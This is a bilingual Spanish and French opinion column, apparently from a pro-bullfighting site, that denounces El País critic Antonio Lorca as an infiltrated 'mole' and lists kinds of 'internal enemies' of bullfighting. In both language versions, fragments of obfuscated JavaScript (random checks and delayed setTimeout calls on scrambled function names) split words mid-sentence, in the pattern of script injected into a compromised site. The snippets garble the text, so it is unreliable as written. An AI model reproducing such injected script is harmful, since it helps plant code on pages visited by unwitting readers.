DE “TOPOS” Y OTROS ENEMIGOS INTERNOSA PROPOS DES TAUPES ET AUTRES ENNEMIS INTERNES

Anda revuelto el cotarro taurófilo con los últimos escritos del crítico taurino de “El País”, Antonio Lorca. Y andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda revuelto, con razón. Porque, aunque los exabruptos y descalificaciones de Lorca no son nuevos, su maledicente taumaturgia para convertir el triunfo torero en caricatura –como hizo con los de José Tomás y El Juli en Yllumbe– o un acto tan emotivo y generoso como la corrida benéfica de Valladolid para trocarla en un desangelado espectáculo, cuyos toros eran “becerrotes” y donde el crítico se permitió la osadía de poner en duda hasta el carácter benéfico de la misma, vienen a ser perlas recientes del inacabable collar de difamaciones contra la fiesta de los toros, que lo están convirtiendo, como le pasó a su antecesor Joaquín Vidal –generador de la peor calaña de aficionados que he visto nunca– en adalides de la causa antitaurina.

Son algunos de los “topos” –esto es: antitaurinos infiltrados en el periodismo taurino, cuya tarea consiste en socavar desde dentro los cimientos del toreo para que los “antis” declarados tengan más fácil el trabajo de erradicar la Fiesta–, que, como Lorca y otros adláteres, cuentan con un foro de opinión privilegiado tal que el diario “El País”, amarillo en su línea editorial, neoliberal en su ideología y antitaurino inconfeso, pero antitaurino en cualquier caso, desde que se creó.

No obstante, el derrotismo de Antonio Lorca se enmarca dentro de una de las categorías de enemigos interiores que tiene la tauromaquia; enemigos que han existido siempre y cuyos daños ha sido capaz de asimilar el toreo sin perder su equilibrio. Sin embargo, en estos momentos, el perjuicio que causan es significativamente mayor por cuanto, consciente o inconscientemente, favorecen las tesis antitaurinas y minan la resistencia taurófila.

El aficionado derrotista sostiene que todo está mal en la Fiesta y que los culpables de la situación actual están dentro y sólo dentro del toreo. No menos peligrosos que éstos, por el mucho daño que generan, son sus antípodas de “todo el mundo es bueno”, los que defienden que cualquier crítica a la Fiesta es contraproducente para ella, los que llevan el triunfalismo en la solapa y aspiran a convertir el indulto en premio de uso ordinario. También contamos con los oportunistas, enmarcados sobre todo en la clase política, cuya versatilidad camaleónica en materia taurina hace que se posicionen a favor o en contra del toreo según lugar y circunstancia y siempre en beneficio de sus intereses partidistas. Por último, tenemos el sector de los “acomplejados”, aficionados cuyo sentimiento de culpabilidad por la muerte del toro o la “crueldad” de la lidia, no hace sino evidenciar su incapacidad para captar la esencia del rito que late en la corrida.

También, entre los profesionales, hay enemigos internos, como los oportunistas que se aprovechan de las circunstancias y quieren transgredir la ética del toreo bajo el chantaje de “No criticar”, y los simplemente “golfos”, a los que sólo les importa el toreo como medio de lucro. El perjuicio que pudieran causar a la Fiesta les trae sin cuidado; para ellos sólo cuenta el dinero. Y cuanto más fácil, mejor.

Mucho cuidado con todos ellos. Todos son dañinos e indeseables. Ni todo está mal en el toreo ni todo en él es agua de rosas; pero es que además estamos inmersos en una época de guerra. Y en épocas de guerra –ya lo afirma la historia– hay que extremar el rigor en todos los aspectos y velar por la esencia y pureza de la fiesta brava. Con esa dinámica, nos será más fácil desenmascarar a “traidores” como Antonio Lorca y a algunos taurinos de pacotilla que pretenden, sin escrúpulos, hacer del toreo su coto privado.

Les derniers écrits du critique taurin du quotidien « El País » ont provoqué un tollé dans le monde des toros. Et c’est normal. Car si les insultes et les mots méprisants de Lorca ne sont pas une nouveauté, sa médisance pour transformer le triomphe d’un torero en une caricature –comme il le fit avec ceux de José Tomás et de El Juli à Yllumbe- ou un acte aussi émouvant et généreux comme la corrida de Bienfaisance de Valladolid pour la troquer en un spectacle froid, avec des toros qui étaient de gros becerros et où le critique osa même mettre en doute le caractère solidaire de celui-ci, deviennent des exemples de cet inépuisable éventail diffamations contre la corrida, qui sont entrain d’en faire, comme ce fut le cas avec son prédécesseur Joaquín Vidal –générateur de la pire espèce d’aficionados que j’ai jamais vu- en des apôtres de la cause antitaurine.

Ce sont certains de ces taupes – autrement dit, des anti-taurins infiltrès dans la presse taurine, dans l’objectif est de dynamiter de l’intérieur la tauromachie pour que les antis déclarés voient leur tâche facilitée pour détruire ce spectacle –qui comme Lorca et autres acolytes comptent sur un forum d’opinion privilégié comme l’est le journal « El País », jaune dans ligne éditoriale néolibérale et sans étaler son anti-taurinisme, mais en tout cas anti-taurin dans les faits depuis sa sortie.

Cependant, le défaitisme d’Antonio Lorca cadre bien avec la catégorie des ennemis intérieurs que compte la tauromachie ; des ennemis qui ont toujours existé et dont les méfaits ont été assimilés par la tauromachie sans perdre son équilibre. Or, en ces jours, les nuisances qu’ils provoquent sont bien plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes car, consciemment ou inconsciemment, ils favorisent les thèses anti-taurines et minent la résistance taurine. L’aficionado défaitiste soutient que tout va mal dans la corrida et que les seuls coupables sont tout simplement à l’intérieur du monde de la corrida. Non moins dangereux, par ce qu’ils génèrent, sont ceux qui sont complètement à l’opposé avec leur «  tout le monde est beau, tout le monde est gentil », ceux qui pensent que toute critique envers la corrida lui nuit, ceux affichent leur triomphalisme et espèrent que l’indulto deviendra une récompense au quotidien. Nous avons aussi des opportunistes, appartenant surtout à la classe politique, dont la versatilité caméléonesque en matière taurine provoque qu’ils prennent position pour ou contre la tauromachie suivant le lieu et les circonstances et toujours et toujours au profit de leurs intérêts particuliers. Pour finir, il y a un secteur de « complexés », des aficionados dont le sentiment de culpabilité devant la mort du toro ou la « cruauté » du combat, ne font que montrer leur incapacité pour capter l’essence du rite qui bat dans la corrida.

Il y a aussi, entre les professionnels, des ennemis internes, comme les opportunistes qui profitent des circonstances et veulent transgresser l’éthique du toreo sous le chantage de « ne pas critiquer », et aussi tout simplement les voyous, qui s’intéressent à la tauromachie simplement pour se faire du fric. Ils ne se soucient point du préjudice qu’ils pourraient provoquer dans la corrida, pour eux il n’y a que l’argent qui compte. Et plus c’est facile à prendre, tant mieux. Il faut se méfier de tous. Ils sont tous nuisibles et indésirables. Ni tout va mal dans la corrida ni tout va bien ; mais nous sommes à un moment où il faut se battre. Et en ces temps de guerre –comme le confirme l’histoire- il faut être très attentif et veiller à préserver l’essence et la pureté de cette fête. Avec cette dynamique, il nous sera plus facile de « démasquer » des traîtres comme Antonio Lorca et quelques taurins de pacotille qui prétendent, sans scrupules, faire de la corrida leur pré carré.

Les commentaires sont fermés.